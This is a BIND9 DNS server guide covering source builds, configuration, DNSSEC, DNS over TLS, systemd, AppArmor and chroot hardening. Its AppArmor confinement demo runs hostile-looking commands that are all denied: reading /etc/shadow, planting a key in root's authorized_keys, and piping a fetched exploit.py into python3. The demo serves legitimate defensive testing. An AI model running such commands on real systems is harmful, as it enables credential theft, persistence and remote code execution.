Skip to content

BIND9 DNS

How to install, maintain, and run a BIND9 DNS server (named). Covers building from source, configuring, hardening, and DNS over TLS as well as DNSSEC.

Updated on 2024/07/23.

BIND (Berkeley Internet Name Domain) is a complete, highly portable implementation of the Domain Name System (DNS) protocol.

In a few cases, to have a better understanding of what's required when managing and working with bind / named, the documentation is spread across various platforms and git issue trackers; each with their own subtle differences. This guide tries to put some of that together in a useful sequence. Both Ubuntu and Fedora are touched on in each section, but this is primarily written from the perspective of building bind from scratch, without any pre-existing binaries, service files, mandatory access controls, or configurations, and installing it on Ubuntu.

Install

BIND9 Documentation: Installing and upgrading BIND

Ensure your firewall is configured (the defaults will allow external DNS access).

sudo ufw status verbose
sudo iptables -S
sudo ip6tables -S

Installing through apt preconfigures everything, the systemd service file, chroot, and apparmor.

sudo apt update; sudo apt install -y bind9

# Stop, disable systemd-resolved
sudo systemctl disable systemd-resolved.service
sudo systemctl stop systemd-resolved.service

# Start, enable bind
sudo systemctl enable bind
sudo systemctl start bind

# Confirm apparmor confinement
sudo aa-status | grep named

# Dump version information
/usr/sbin/named -V

Ensure your firewall is configured (the defaults won't allow external DNS access).

sudo firewall-cmd --list-all

Installing through dnf preconfigures everything, the systemd service file, chroot, and selinux.

sudo dnf install -y bind

# Stop, disable systemd-resolved
sudo systemctl disable systemd-resolved.service
sudo systemctl stop systemd-resolved.service

# Start, enable named
sudo systemctl enable named
sudo systemctl start named

# Confirm selinux status
getsebool -a | grep named

# Dump version information
/usr/sbin/named -V

When cloning the source from git, instructions for building BIND9 are located under main/doc/arm/build.inc.rst.

You have a few options when building to install or upgrade BIND9:

  • Running the new binaries from their new paths based on --prefix=/usr/local (difficult, system-wide changes)
  • Script replacing the existing binaries with new versions (stop named, replace / upgrade, restart named)
  • Recommended: Symlink the to the new bin/ and sbin/ paths (good for version changes and testing)

For other features available when building, a small txt report is printed to screen after the build completes. Some essentials might include DNSSEC support through the openssl development package. Same for improved performance with the jemalloc development package.

Install the required packages.

# Install required dev packages (ubuntu)
sudo apt install -y make autoconf automake libtool libuv1-dev libcap-dev libssl-dev libxml2-dev libjson-c-dev libjemalloc-dev libnghttp2-dev liburcu-dev dns-root-data

# Install required dev packages (fedora)
sudo dnf install -y autoconf automake libtool libuv-devel libcap-devel openssl-devel libxml2-devel json-c-devel jemalloc-devel libnghttp2-devel userspace-rcu-devel

Clone the source, checkout a specific version.

mkdir ~/src
cd ~/src
git clone https://gitlab.isc.org/isc-projects/bind9.git
cd bind9
git tag               # choose a version tag
version='stable'      # leave off the 'v' if using a numbered version
git checkout $version # prepend the 'v' if using a numbered version

Build and make install using a unique local prefix path. This way you can build and maintain different versions.

Build Options

The option --sysconfdir can be specified to set the directory where configuration files such as named.conf go by default; --localstatedir can be used to set the default parent directory of run/named.pid. --sysconfdir defaults to $prefix/etc and --localstatedir defaults to $prefix/var.

Build Options Continued

Basically, on Ubuntu we can use --sysconfdir=/etc/bind --localstatedir='/var', since /var/run is a symlink to /run.

It's entirely up to you if you would like to create and use /etc/named/ for the conf files, you'll need to be sure to change this in your AppArmor profile.

autoreconf -fi  # (only if building from the git repository)

# Useful for in-place upgrades and new installs
version='stable'
./configure --prefix=/usr/local/bind-$version --sysconfdir=/etc/bind --localstatedir='/var'

make
sudo make install

To illustrate how --sysconfdir and --localstatedir affect bind, we can run named -V.

default paths:
named configuration:  /etc/bind/named.conf          # --sysconfdir=/etc/bind
rndc configuration:   /etc/bind/rndc.conf           # --sysconfdir=/etc/bind
DNSSEC root key:      /etc/bind/bind.keys           # --sysconfdir=/etc/bind
nsupdate session key: /var/run/named/session.key    # --localstatedir=/var
named PID file:       /var/run/named/named.pid      # --localstatedir=/var
named lock file:      /var/run/named/named.lock     # --localstatedir=/var

Optional: Backup any existing, currently installed binaries.

# Backup existing binaries from package manager
mkdir /usr/local/bind-pkg-mgr/{bin,sbin,lib} -p
for i in /usr/local/bind-$version/sbin/*; do cp /usr/sbin/$(basename $i) /usr/local/bind-pkg-mgr/sbin/; done
for i in /usr/local/bind-$version/bin/*; do cp /usr/bin/$(basename $i) /usr/local/bind-pkg-mgr/bin/; done
sudo cp -r /usr/lib/named/* /usr/local/bind-pkg-mgr/lib/

Create symlinks to the new binaries to "install" them.

# Symlink to new binaries compiled from source
for i in /usr/local/bind-$version/sbin/*; do sudo ln -f -s $i /usr/sbin; done
for i in /usr/local/bind-$version/bin/*; do sudo ln -f -s $i /usr/bin; done
sudo rm -rf /usr/lib/named
sudo ln -f -s /usr/local/bind-$version/lib /usr/lib/named

You will also need to manually create everything the prebuilt package typically installs if you're not updating an existing bind service:

  • bind (Ubuntu) /named (Fedora) user & group, it's up to you to choose which, it doesn't matter
  • Configuration files and folders, (chroot) paths
  • Systemd service files
  • AppArmor / SELinux policy

All of this is covered below.

Uninstall

Follow these steps to uninstall and remove the built named binaries, for instance if you want to rebuild them with different configuration arguments.

Stop named if it's running.

sudo systemctl stop named

Remove the built binaries from the prefix path.

sudo make uninstall

Remove any symlinks.

version='stable'
for i in /usr/local/bind-$version/sbin/*; do rm -f /usr/sbin/$(basename $i); done
for i in /usr/local/bind-$version/bin/*; do rm -f /usr/sbin/$(basename $i); done
sudo rm -f /usr/lib/named

Restore the original binaries.

for i in /usr/local/bind-pkg-mgr/sbin/*; do rm -f /usr/sbin/$(basename $i); cp -f $i /usr/sbin/; done
for i in /usr/local/bind-pkg-mgr/bin/*; do rm -f /usr/bin/$(basename $i); cp -f $i /usr/bin/; done
sudo mkdir /usr/lib/named
sudo cp -r /usr/local/bind-pkg-mgr/lib/* /usr/lib/named/

Optional: Clean the project directory.

make clean

Initial Setup

To ensure bind9's named service is working out of the box after a fresh install:

Point your system to bind's service on localhost.

sudo rm -f /etc/resolv.conf
echo 'nameserver 127.0.0.1' | sudo tee /etc/resolv.conf

If name resolution isn't working, and you see RRSIG validity period has not begun resolving './DS/IN'errors in journalctl -u named, ensure the date / time is correct.

sudo systemctl restart systemd-timesyncd
sudo date --set="2024-01-31 12:00:00 PM PDT"

Point your system to bind's service on localhost.

sudo rm -f /etc/resolv.conf
echo 'nameserver 127.0.0.1' | sudo tee /etc/resolv.conf

If name resolution isn't working, and you see RRSIG validity period has not begun resolving './DS/IN'errors in journalctl -u named, ensure the date / time is correct.

sudo systemctl restart chronyd
sudo date --set="2024-01-31 12:00:00 PM PDT"

Add a user and group. If you built from source, it's your choice whether to pick named or bind.

# Ubuntu default (not required)
sudo groupadd bind
sudo useradd -g bind --system -M -s /usr/sbin/nologin bind

# Fedora default (best for compatability)
sudo groupadd named
sudo useradd -g named --system -M -s /usr/sbin/nologin named

Firewall

named listens on 53/udp and 53/tcp as well as 953/tcp.

# By application name
sudo ufw allow bind9

# Defined ports and protocols
sudo ufw allow in on eth0 to any port 53 comment 'bind9'
sudo firewall-cmd --add-service dns --permanent
sudo firewall-cmd --reload

named.conf

BIND9 is highly configurable. The options and deployments possible are kind of overwhelming, if you're more used to something like unbound or especially if you've stuck with systemd-resolved. This section shows the bare minimum required files to get named running as a fully functioning DNS service.

named-checkconf and -C

Similar to unbound-checkconf bind also has a tool called named-checkconf to validate the configuration file(s).

named also has named -C to dump a complete example of the default option values for named.conf.

Create the directories for bind's working paths you define in In named.conf. This also depends on what you choose for --localstatedir="... during the build process. Remember that /var/run symlinks to /runso we need to make the following paths.

# Assumes these are in named.conf, and everything else defined is within "/var/cache/named"
#   pid-file "/run/named/named.pid";
#   directory "/var/cache/named";

bind_paths='/var/run/named
/var/cache/named'

for path in $bind_paths; do
    sudo mkdir $path
    sudo chown -R bind:bind $path
done

Choosing an /etc File Path

As mentioned above in the install section about build options, this depends on what you used for --sysconfdir= during the build process.

sudo mkdir /etc/bind
sudo chown -R bind:bind /etc/bind

At minimum, we need two files to get named / bind running. Bind handles everything else (as of BIND 9.18.26 (Extended Support Version) <id:936d80b>).

This is a combination of both Ubuntu and Fedora's defaults, with a few options from the BIND9 docs.

// named.conf

options {
    pid-file "/var/run/named/named.pid";

    directory          "/var/cache/named";
    dump-file          "/var/cache/named/data/cache_dump.db";
    statistics-file    "/var/cache/named/data/named_stats.txt";
    memstatistics-file "/var/cache/named/data/named_mem_stats.txt";
    secroots-file      "/var/cache/named/data/named.secroots";
    recursing-file     "/var/cache/named/data/named.recursing";

    listen-on port 53 { 127.0.0.1; };
    listen-on-v6 port 53 { ::1; };

    allow-query { localhost; };
    allow-query-cache { localhost; };

    recursion yes;

    dnssec-validation auto;
};

zone "." IN {
    type hint;
    file "/usr/share/dns/root.hints"; // sudo apt install -y dns-root-data
};

include "/etc/bind/named.rfc1912.zones";

Next, the rfc1912.zones file.

// named.rfc1912.zones:
//
// Provided by Red Hat caching-nameserver package
//
// ISC BIND named zone configuration for zones recommended by
// RFC 1912 section 4.1 : localhost TLDs and address zones
// and https://tools.ietf.org/html/rfc6303
// (c)2007 R W Franks
//
// See /usr/share/doc/bind*/sample/ for example named configuration files.
//
// Note: empty-zones-enable yes; option is default.
// If private ranges should be forwarded, add
// disable-empty-zone "."; into options
//

zone "localhost.localdomain" IN {
    type primary;
    file "named.localhost";
    allow-update { none; };
};

zone "localhost" IN {
    type primary;
    file "named.localhost";
    allow-update { none; };
};

zone "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa" IN {
    type primary;
    file "named.loopback";
    allow-update { none; };
};

zone "1.0.0.127.in-addr.arpa" IN {
    type primary;
    file "named.loopback";
    allow-update { none; };
};

zone "0.in-addr.arpa" IN {
    type primary;
    file "named.empty";
    allow-update { none; };
};

At this point you can run bind as the bind / named user.

# -g runs bind in the foreground
sudo /usr/local/bind-stable/sbin/named -g -L /tmp/bind.log -u bind

You can continue on to the following sections to build your named.conf file(s), or skip ahead to get this running through systemd.

DNSSEC

Querying

You may have noticed dnssec-validaton auto; in the named.conf file. This tells bind to validate DNS using the built in trust anchor data (bind.keys) which is now just part of BIND9.

You can manage your own keys by setting dnssec-validation yes;, however keep in mind you need to manually update the key to that subdomain when it's scheduled to rotate. This is something you might do for an internal domain, or a test network.

DNSSEC History

The BIND9 docs suggest setting this to auto for general use, as 90% of the top-level domains have now been signed since the root zone was signed in 2010. With the bind.keys data file built into the package, all of this can be handled automatically now.

Replying

BIND9 also has automated and manual options for Zone Signing. It's recommended to make this fully automatic outside of test networks and specific use cases.

Zone Signing Example

To sign a zone, add the dnssec-policy definition to a zone block in your conf files.

zone "dnssec.example" {
    type primary;
    file "dnssec.example.db";
    dnssec-policy default;    ⬅️
    inline-signing yes;
};

There are then three files created for zone keys:

  • Kdnssec.example.+013+12345.private private key for generating sigatures
  • Kdnssec.example.+013+12345.key the public key for validating the signatures
  • Kdnssec.example+013+12345.state state file used to track key timings and perform rollovers

The rest of the DNSSEC chapter covers details like defining the DNSSEC policy parameters, and more. This guide may be updated with examples of this in the future.

Access Control

named will listen on all interfaces by default on Ubuntu and only localhost (::1,127.0.0.1) on Fedora. Define ACL's to limit what resources can access the bind server.

Define ACL's in /etc/bind/named.conf.options.

acl "trusted" {
        ::1;
        127.0.0.1;
        10.55.55.0/24;
};

options {
        listen-on port 53 { 127.0.0.1; 10.55.55.29; };
        listen-on-v6 port 53 { ::1; 10.55.55.29; };
        allow-query     { trusted; };
        allow-recursion { trusted; };
<SNIP>

Define ACL's in /etc/named.conf.

acl "trusted" {
        ::1;
        127.0.0.1;
        10.55.55.0/24;
};

options {
        listen-on port 53 { 127.0.0.1; 10.55.55.29; };
        listen-on-v6 port 53 { ::1; 10.55.55.29; };
        allow-query     { trusted; };
        allow-recursion { trusted; };
<SNIP>

Logging

The logging statement configures the channel (output method) and category (classes of messages) to be logged. Only one logging statement is used to define as many channels and categories as desired. If there is no logging statement, a built in default configuration is used.

Query logging can be enabled for bind/named with the following block.

First create the log file path with the correct ownership and permissions.

sudo mkdir -p /var/log/named
sudo touch /var/log/named/query.log
sudo chown -R bind:bind /var/log/named

AppArmor Compatability

AppArmor lists the following paths for logging.

/var/log/named/** rw,
/var/log/named/ rw,

Use these, or modify the AppArmor policy to point to /var/log/bind instead.

Add or include the following logging block in named.conf.

logging {
    // https://bind9.readthedocs.io/en/latest/reference.html
    // The channel defines the file to send messages to
    channel query_channel {
        file "/var/log/bind/query.log" versions 8 size 8m suffix increment;
        print-category yes; // Includes category in logs
        print-severity yes; // Includes severity in logs
        print-time yes; // Includes a timestamp in logs (iso8601 | iso8601-utc | local | <boolean>)
        severity info; // info is the default and lowest log level, meaning everything gets logged

        // Tells named to write to syslog as a specific syslog facility (your choice)
        // You must choose either syslog, or writing to a file, not both
        //syslog [<syslog_facility>];  // Options include daemon, syslog, kern, and many more
    };
    // The category defines *what* is sent to the log file, there can be multiple defined
    // https://bind9.readthedocs.io/en/latest/reference.html#namedconf-statement-category
    category queries { query_channel; };
    category query-errors { query_channel; };
    category security { query_channel; };
    category dnssec { query_channel; };
};

dnstap

The RHEL 9 documentation covers recording DNS queries using dnstap. Requires bind-9.16.15-3 or later. This won't be covered here for now, as it isn't always available.

DNS over TLS

This section focuses on making queries over TLS, not running a server that accepts DNS over TLS

Minimum Version Requirements

Only certain recent versions of BIND9 (9.19+) have this capability. Interestingly the absolute latest version available did not have this feature enabled at the time of writing. You can easily test this by checking out a specific version, compiling the binaries, and running named-checkconf to assess the example blocks below. If it throws an error, DNS over TLS isn't supported in that build.

According to the git history, this feature will be available in versions 9.19 or later, and by default in 9.20 stable.

Cloudflare

The tls block in named.conf requires a .pem file for the CA related to the hostname we're using. Without this, there's no way to verify the hostname is actually who they say they are. We need to know what certificate authority to point to in the tls block of the configuraiton file. It's possible to view the certificate used for Cloudflare by checking the returned CN with kdig.

dnf install knot-utils
kdig -d @1.1.1.1 +tls-ca +tls-host=one.one.one.one example.com | grep CN

Example configuration blocks:

// https://bind9.readthedocs.io/en/latest/reference.html#tls-block-grammar
// You can define multiple tls blocks, one for every provider
tls Cloudflare {
    ca-file "/etc/ssl/certs/DigiCert_Global_Root_G2.pem";
    remote-hostname "one.one.one.one";
};
#tls Quad9 {
#   ca-file "/etc/ssl/certs/?";
#   remote-hostname "dns.quad9.net";
#};

options {
    // https://bind9.readthedocs.io/en/latest/reference.html#namedconf-statement-forwarders
    forwarders {
        1.1.1.1 port 853 tls Cloudflare;
        1.0.0.1 port 853 tls Cloudflare;
        2606:4700:4700::1111 port 853 tls Cloudflare;
        2606:4700:4700::1001 port 853 tls Cloudflare;

#       9.9.9.9 port 853 tls Quad9;
    };
};

Quad9's CA File

It's unclear which (if any) of the CA files from the ca-certificates package will work for Quad9. The returned string is CN=DigiCert TLS Hybrid ECC SHA384 2020 CA1 which the closest match on Fedora is DigiCert_TLS_ECC_P384_Root_G5.pem. However this CA doesn't work, and breaks name resolution.

Systemd Service

Now that we have bind functioning and configured, we can create a service file so it will run automatically.

Daemon Security

At this point in the guide, the only hardening feature implemented is dropping privileges from root to the bind / named user via -u. You'll want to implement one of the security options when finally using bind in a production sense.

Create the systemd service file. This assumes you've been following the recommendation of creating symlinks in /usr/{sbin,bin} to your make install path.

  • EnvironmentFile=-$sysconfdir/default/named is Ubuntu specific
  • Fedora uses EnvironmentFile=-$sysconfdir/sysconfig/named
  • The entire block below is meant to be safe to copy and paste over the previous files for version testing
# Change these as needed, especially if there's a chroot path (default is no chroot)
envfilepath='default' # Ubuntu=default, Fedora=sysconfig

if (systemctl is-active named); then sudo systemctl stop named; fi

sleep 3

echo "[Unit]
Description=BIND Domain Name Server
Documentation=man:named(8)
After=network.target
Wants=nss-lookup.target
Before=nss-lookup.target

[Service]
Type=forking
EnvironmentFile=-/etc/$envfilepath/named
ExecStart=/usr/sbin/named \$OPTIONS
ExecReload=/usr/sbin/rndc reload
ExecStop=/usr/sbin/rndc stop
Restart=on-failure

[Install]
WantedBy=multi-user.target
Alias=bind9.service" | sudo tee /lib/systemd/system/named.service

sudo mkdir /etc/default
echo '# run resolvconf?
RESOLVCONF=no

# startup options for the server
OPTIONS="-u bind"' | sudo tee /etc/$envfilepath/named

sudo systemctl daemon-reload
sudo systemctl enable named
sudo systemctl restart named

systemctl status named

# It should find these
echo ""
echo "[*]cache Files"
find /var/cache/named -type f
echo ""
echo "[*]--localstatedir Files"
find /var/run/named -type f

Environment File

The script block above created the default environment file, with only the -u bind option. More options can be defined here.

  • Ubuntu: /etc/default/named
  • Fedora: /etc/sysconfig/named

IPv4 or IPv6 Only

To run only IPv4 or IPv6 (meaning not both), the -4 or -6 arguments must be passed to named.

# Only use IPv6
OPTIONS="-u bind -6"

Security

Hardening the bind9 / named process itself (meaning outside of its runtime configuration) can take one of three approaches; AppArmor, SELinux, or chroot.

AppArmor

On Debian-based systems (Ubuntu) bind9 ships an AppArmor policy that's enabled by default.

You could obtain this policy from the debian source package.

sudo sed -i_bkup 's/# deb-src/deb-src/g' /etc/apt/sources.list
sudo apt update

cd ~/src
apt download bind9
dpkg-deb -x ./bind9_1%3a9.18.24-0ubuntu0.22.04.1_amd64.deb bind9-deb
cd bind9-deb/etc/apparmor.d/

You can also obtain a copy of the policy file directly from Ubuntu's git repo (change the Ubuntu version to match yours).

cd ~/src/bind9  # Change into the bind9 upstream git folder
curl -Lf 'https://git.launchpad.net/ubuntu/+source/bind9/plain/debian/extras/apparmor.d/usr.sbin.named?h=ubuntu/jammy-devel' > usr.sbin.named

Create a local override so named can access either /var/cache/{bind,named}, whichever one exists. You could also manually edit usr.sbin.named to make this change, it's up to you.

echo '# Local overrides for usr.sbin.named
  /var/cache/named/** lrw,
  /var/cache/named/ rw,' | sudo tee /etc/apparmor.d/local/usr.sbin.named

AppArmor Includes

In any case, if the main usr.sbin.named AppArmor profile includes local/usr.sbin.named, you will at least need to touch that path to ensure it exists.

sudo touch /etc/apparmor.d/local/usr.sbin.named

Finally, install the AppArmor profile and reload both AppArmor and named to ensure everything works.

sudo cp ./usr.sbin.named /etc/apparmor.d/

# Load the new profile into AppArmor
sudo apparmor_parser -a /etc/apparmor.d/usr.sbin.named

# Ensure everything works, use `journalctl -xeu named` to diagnose any errors
sudo systemctl restart named
systemctl status named  # Should have no errors
echo ""
echo "[*]AppArmor Status"
sudo aa-status | grep named

To disable the profile:

sudo ln -s /etc/apparmor.d/usr.sbin.named /etc/apparmor.d/disable/usr.sbin.named
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.named

To remove the profile completely:

sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.named
find /etc/apparmor.d/ -name 'usr.sbin.named' -print0 | xargs -0 sudo rm -f

This profile locks named's ability to access or modify data to the following paths (where lrw means read,write,link).

  /var/lib/bind/** rw,
  /var/lib/bind/ rw,
  /var/cache/bind/** lrw,
  /var/cache/bind/ rw,
  /var/cache/bind/_default.nzd-lock rwk,
  /var/lib/dnscvsutil/compiled/** rw,
  owner @{PROC}/@{pid}/task/@{tid}/comm rw,
  /{,var/}run/named/named.pid w,
  /{,var/}run/named/session.key w,
  /var/log/named/** rw,
  /var/log/named/ rw,
  /{,var/}run/slapd-*.socket rw,
  /var/tmp/DNS_* rw,
  /var/lib/samba/bind-dns/dns/** rwk,
  /var/lib/samba/private/dns/** rwk,
  /dev/urandom rwmk,
  owner /var/tmp/krb5_* rwk,
  /var/lib/sss/pipes/nss  rw,
  @{run}/.nscd_socket   rw,
  @{run}/nscd/socket    rw,
  @{run}/avahi-daemon/socket rw,

Reviewing Confinement

AppArmor has a tool called aa-exec that allows you to run a process under the confinement of a (currently loaded) profile. When asking ChatGPT if there's a similar method for AppArmor to using snap run --shell firefox or flatpak run --command=bash firefox to explore what the snap/flatpak-confined firefox process can see and do, it pointed to aa-exec. This is essentially the same thing, allowing you to explore the AppArmor confinement of regular deb packages that have a profile.

Ensure the profile is loaded into AppAmor.

sudo apparmor_parser -a /etc/apparmor.d/usr.sbin.named

Specify the profile name based on what sudo aa-status returns for that executable. For example you would use named and not usr.sbin.named here. To open a bash shell in named's AppArmor profile:

sudo aa-exec -p named -- /bin/bash

This results in a bash process confined by the usr.sbin.named profile.

server@ubuntu2404:~$ sudo aa-exec -p named -- /bin/bash
bash: /etc/bash.bashrc: Permission denied
bash: /root/.bashrc: Permission denied
bash-5.1#
bash-5.1# cat /etc/shadow
bash: /usr/bin/cat: Permission denied
bash-5.1#
bash-5.1# echo 'bad-key' >> /root/.ssh/authorized_keys
bash: /root/.ssh/authorized_keys: Permission denied
bash-5.1#
bash-5.1# sh -c whoami
bash: /usr/bin/sh: Permission denied
bash-5.1# bash
bash: /usr/bin/bash: Permission denied
bash-5.1#
bash-5.1# nc
bash: /usr/bin/nc: Permission denied
bash-5.1#
bash-5.1# curl http://127.0.0.1:8080/exploit.py | python3
bash: /usr/bin/python3: Permission denied
bash: /usr/bin/curl: Permission denied
bash-5.1#
bash-5.1# touch /tmp/test.txt
bash: /usr/bin/touch: Permission denied

SELinux

⚠️ TO DO, check back later!

chroot and setuid

This option comes with a number of caveats.

Chroot vs Mandatory Access Control

The RHEL 9 documentation suggests using a mandatory access control mechanism like SELinux or AppArmor is more robust than a chroot jail. Only use this method if you cannot use AppArmor of SELinux.

Additionally, if you want to use AppArmor on top of a chroot environment, you will need to modify the AppArmor profile to use the chroot base path.

bind-chroot.x86_64

This functionality is available as an rpm package, bind-chroot (on Fedora) and named-chroot (on RHEL).

The chroot environment

Unlike with earlier versions of BIND, named does not typically need to be compiled statically, nor do shared libraries need to be installed under the new root. However, depending on the operating system, it may be necessary to set up locations such as /dev/zero, /dev/random, /dev/log, and /etc/localtime.

Building on What Exists

The Fedora repo for bind contains a number of files you could use to script setting up a chroot instance.

Without a kernel-based mandatory access control system, you can still chroot the bind/named process into its own "sandbox" directory, and run bind unprivileged with -u <user>.

Setting Up the Chroot

To do this as simply as possible on Ubuntu, start by making the chroot paths:

# Add any paths you use that are missing here
sudo mkdir -p /chroot/bind/{etc/{bind,default},var/{cache/named/data,run/named,log/bind},usr/share/dns}
find /chroot/ -type d
# The bind user can only write to /chroot/bind/var, read the rest
sudo chown -R root:bind /chroot/bind
sudo chown -R bind:bind /chroot/bind/var

Note that you don't need to copy any libraries or other binaries into the chroot, only files named will read or write to.

Copy the existing configuration files over.

sudo cp /etc/bind/* /chroot/bind/etc/bind/
sudo cp /etc/default/named /chroot/bind/etc/default/
sudo cp /usr/share/dns/root.hints /chroot/bind/usr/share/dns/

For compatability, we'll create a separate Systemd service called named-chroot.

envfilepath='default' # Ubuntu=default, Fedora=sysconfig

echo "[Unit]
Description=BIND Domain Name Server (Chroot)
Documentation=man:named(8)
After=network.target
Wants=nss-lookup.target
Before=nss-lookup.target

[Service]
Type=forking
EnvironmentFile=-/etc/$envfilepath/named
ExecStart=/usr/sbin/named \$OPTIONS -t /chroot/bind
ExecReload=/usr/sbin/rndc reload
ExecStop=/usr/sbin/rndc stop
Restart=on-failure

[Install]
WantedBy=multi-user.target
Alias=bind9-chroot.service" | sudo tee /lib/systemd/system/named-chroot.service

Stop the non-chroot service, then start the chroot service.

sudo systemctl stop named
sudo systemctl start named-chroot
systemctl status named-chroot

echo ""
echo "[*]Chroot runtime files"
find /chroot/ -type f

named is now running in a chroot.

Reviewing Confinement

You can interactively explore a chroot environment with the chroot <path> command. Specify the <path> to your chroot, then a command or shell to execute. If you don't specify a shell, it defaults to /bin/sh -i.

man chroot

If no command is given, run '"$SHELL" -i' (default: '/bin/sh -i').

You can see below with the chroot created for bind, there aren't any binaries available to execute. There's no way to explore this interactively in our case, which is exactly what we want. For reference, find was used to list all avaialble files under the chroot. Assume that a rogue named process could at the very least "see" these files, which is fine.

server@ubuntu2404:~$ sudo chroot /chroot/bind
chroot: failed to run command ‘/bin/bash’: No such file or directory
server@ubuntu2404:~$
server@ubuntu2404:~$ sudo find /chroot/ -type f
/chroot/bind/etc/bind/named.conf
/chroot/bind/etc/bind/rndc.key
/chroot/bind/etc/bind/named.rfc1912.zones
/chroot/bind/etc/bind/bind.keys
/chroot/bind/etc/bind/rndc.conf
/chroot/bind/usr/share/dns/root.hints
/chroot/bind/var/run/named/session.key
/chroot/bind/var/run/named/named.pid
/chroot/bind/var/cache/named/managed-keys.bind
/chroot/bind/var/cache/named/managed-keys.bind.jnl

Administration

First create an rndc.key file.

sudo rndc-confgen -a

This file holds the shared secret used to connect to the server, in our case localhost. You'll need to make sure named can read this file. If you're running as -u bind this means something like:

# Remember to copy these into the chroot if you're using one
sudo chown root:bind /etc/bind/rndc.key
sudo chmod 640 /etc/bind/rndc.key

Then write a conf file, including the rndc.key file.

// https://bind9.readthedocs.io/en/stable/chapter4.html#rndcconf-statement-options
echo 'options {
    default-key rndc-key;
    default-port 953;
    default-server "localhost";
};

include "/etc/bind/rndc.key"' | sudo tee /etc/bind/rndc.conf

Restart named to load the key.

sudo systemctl restart named

Diagnosing a misbehaving BIND server is detailed here.

rndc status         # Obtain a snapshot of `named`'s status

rndc recursing      # Generate a list of the client queries that named is currently handling (named.recursing)

rndc dumpdb -all    # Get a snapshot of the current state of named's cache (named_dump.db)

rndc querylog       # Toggle query logging on

rndc trace 3        # Temporarily increase the level of server logging

Follow journal message with:

sudo journalctl -f -u bind  # or named, if you used named instead

Run named in the foreground with:

sudo named -g -L /tmp/named.log -u bind -c /etc/bind/named.conf